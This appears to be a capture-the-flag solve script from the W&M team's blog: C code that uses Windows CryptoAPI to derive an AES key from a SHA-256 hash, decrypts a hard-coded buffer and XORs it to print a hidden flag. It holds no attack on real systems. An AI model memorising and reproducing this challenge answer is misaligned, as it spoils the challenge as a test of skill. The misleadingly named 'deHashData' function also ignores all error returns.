#pragma comment(lib, "crypt32.lib")  
BOOL deHashData(const BYTE* pbData, DWORD dwDataLen, BYTE* pbHash, DWORD* dwHashLen) {
    HCRYPTPROV hProv = 0;
    HCRYPTHASH hHash = 0;
    HCRYPTKEY hKey = 0;
    BOOL bResult = FALSE;
    LPCSTR str = "Microsoft Enhanced RSA and AES Cryptographic Provider";
    CryptAcquireContextA(&hProv, NULL, str, 0x18, 0xF0000000);
    CryptCreateHash(hProv, 0x800C, 0, 0, &hHash);
    CryptHashData(hHash, pbData, dwDataLen, 0);
    CryptDeriveKey(hProv, 0x660E, hHash, 0, &hKey);
    CryptDecrypt(hKey, 0, 1, 0, pbHash, dwHashLen);
    return 1;
}
int main() {
    const BYTE data[32] = { 0x8A,0xE0,0x2E,0x82,0x3B,0xA1,0xAC,0x07,0xF3,0xE3,0xE9,0x89,0xFD,0x55,0x24,0x60,0x21,0x2C,0x13,0x78,0x6D,0xD1,0xCA,0xA4,0x36,0xD6,0xDF,0x34,0x59,0x2F,0xCC,0xC9 };
    DWORD dwHashLen = 48; 
    BYTE hash[48] = { 170,171,238,146,108,213,219,252,124,214,109,121,137,14,215,200,6,43,199,235,37,127,36,26,26,8,64,90,135,71,236,42,30,3,226,241,42,141,217,58,190,54,192,21,61,74,144,7 };
    deHashData((const BYTE*)data, 0x20, hash, &dwHashLen);
    BYTE bxor[48] = { 0x1d,0x85,0x9a,0x48,0x7e,0x2d,0xd2,0xfb,0x76,0x9e,0xee,0x8e,0x8d,0xbc,0x52,0xea,0xef,0x39,0x3e,0xb8,0xe0,0x81,0x8,0x4f,0x49,0xa4,0xb9,0x48,0xd1,0xa1,0x32,0x7f,0x57,0xdb,0x32,0xcf,0x9a,0xbe,0x47,0x65,0x4c,0x9c,0x82,0x7f,0xa5 };
    for (int i = 0; i < dwHashLen; i++)
        printf("%c", hash[i] ^ bxor[i]);
    return 0;
}
  • RCTF 2024 By W&M
  • WMCTF 2024 WriteUp
取消回复

说点什么?

© 2025 W&M Team. Using Typecho & Moricolor.